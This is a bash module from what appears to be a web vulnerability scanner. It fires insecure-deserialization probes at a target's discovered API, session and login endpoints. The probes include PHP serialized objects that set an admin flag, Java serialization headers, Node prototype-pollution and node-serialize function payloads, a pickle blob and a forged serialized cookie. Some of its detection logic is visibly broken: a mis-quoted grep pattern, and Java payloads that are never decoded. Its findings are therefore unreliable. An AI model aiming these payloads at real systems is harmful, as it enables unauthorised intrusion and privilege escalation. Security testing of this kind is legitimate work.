th-analyzer/vectors/27-deserialization.sh

#!/usr/bin/env bash
# Vector 27: Insecure Deserialization — PHP/Java/Node/ Python
# Desc: Detects insecure deserialization via error messages & behavior
# Severity: CRITICAL
# Proof: Triggers deserialization error revealing app internals

vector_deserialization() {
  local target="$1"
  local report="$2"
  local domain=$(get_domain "$target")
  local findings=0

  print_info "Hunting Insecure Deserialization..."

  # PHP serialized payloads
  local php_payloads=(
    'O:3:"App":0:{}'
    'O:3:"User":1:{s:7:"isAdmin";b:1;}'
    'O:3:"Admin":0:{}'
    'a:1:{i:0;O:3:"RCE":0:{}}'
    'O:8:"stdClass":0:{}'
    'N;'
    'b:1;'
    'i:1;'
    's:4:"test";'
  )

  # Java serialized magic bytes payload
  local java_payloads=(
    "rO0ABXc="  # Base64 of Java serialization header
    "rO0ABQ=="
  )

  # Node.js/express body parser deserialization
  local node_payloads=(
    '{"__proto__":{"admin":true}}'
    '{"rce":"_$$ND_FUNC$$_function(){return true}()"}'
  )

  # Python pickle payload (base64)
  local python_payloads=(
    "gAN9cQBYEAAAAGFkbWluX3JvbGVfcXVlcnlxAFgHAAAAZW5hYmxlZHEBhXECUnEDLg=="
  )

  # Deserialization error patterns  
  local error_patterns='unserialize\|O:.*:"\|java.io.InvalidClassException\|java.lang.ClassNotFoundException\|pickle\|unpickle\|PHP Fatal error\|__PHP_Incomplete_Class\|NOTICE: unserialize'

  # Common deserialization endpoints
  local endpoints=$(get_discovered_urls "$domain" 2>/dev/null | grep -iE 'api|rest|session|cookie|token|auth|login|profile|user' | head -10)
  [ -z "$endpoints" ] && endpoints="$target"

  # Content types to test
  local content_types=(
    "application/x-www-form-urlencoded"
    "application/json"
    "application/x-php-serialized"
    "application/x-java-serialized"
    "text/xml"
  )

  for endpoint in $endpoints; do
    # Test PHP deserialization
    for payload in "${php_payloads[@]}"; do
      local response=$(curl -s --connect-timeout 5 --max-time 8 \
        -X POST -H "Content-Type: application/x-www-form-urlencoded" \
        -d "data=${payload}" \
        "$endpoint" 2>/dev/null)

      if echo "$response" | grep -qi "$error_patterns\|__PHP_Incomplete_Class\|O:.*:\""; then
        print_find "PHP Deserialization Error!" "Server processed unserialized data"
        echo "SEVERITY: CRITICAL
VECTOR: Insecure Deserialization (PHP)
DETAIL: Server deserialized untrusted input, revealing PHP internals
URL: $endpoint
PAYLOAD: $payload
EVIDENCE: $(echo "$response" | grep -i 'unserialize\|PHP\|error' | head -3 | tr '\n' ' ' | cut -c1-200)
EXPLOIT: PHP gadget chain → RCE" > "$REPORTS_DIR/.finding_deser_$(date +%s).txt"
        findings=$((findings + 1))
        break 3
      fi
    done

    # Test Java deserialization  
    for payload in "${java_payloads[@]}"; do
      local response=$(curl -s --connect-timeout 5 --max-time 8 \
        -X POST -H "Content-Type: application/x-java-serialized" \
        -d "$payload" \
        "$endpoint" 2>/dev/null)

      if echo "$response" | grep -qi "java.io\|ClassNotFoundException\|InvalidClassException"; then
        print_find "Java Deserialization Detected!" "Server processes Java serialized objects"
        echo "SEVERITY: CRITICAL
VECTOR: Insecure Deserialization (Java)
DETAIL: Server accepts Java serialized objects at $endpoint
EXPLOIT: ysoserial gadget chain → RCE" > "$REPORTS_DIR/.finding_deser_java_$(date +%s).txt"
        findings=$((findings + 1))
        break 2
      fi
    done

    # Test Node.js deserialization
    for payload in "${node_payloads[@]}"; do
      local response=$(curl -s --connect-timeout 5 --max-time 8 \
        -X POST -H "Content-Type: application/json" \
        -d "$payload" \
        "$endpoint" 2>/dev/null)

      if echo "$response" | grep -qi "_$$ND_FUNC"\|"__proto__\|polluted"; then
        print_find "Node.js Deserialization Risk!" "Server processed __proto__ payload"
        findings=$((findings + 1))
        break 2
      fi
    done

    # Test cookie deserialization
    local cookie_payload='O:3:"App":1:{s:7:"isAdmin";b:1;}'
    local response=$(curl -s --connect-timeout 5 --max-time 8 \
      -b "session=serialized;user_data=$(printf '%s' "$cookie_payload" | base64);auth=O:3:\"User\":0:{}" \
      "$endpoint" 2>/dev/null)

    if echo "$response" | grep -qi "$error_patterns"; then
      print_find "Cookie Deserialization!" "Session cookie triggered deserialize error"
      findings=$((findings + 1))
    fi
  done

  if [ "$findings" -eq 0 ]; then
    print_info "No deserialization issues found"
  fi

  return $findings
}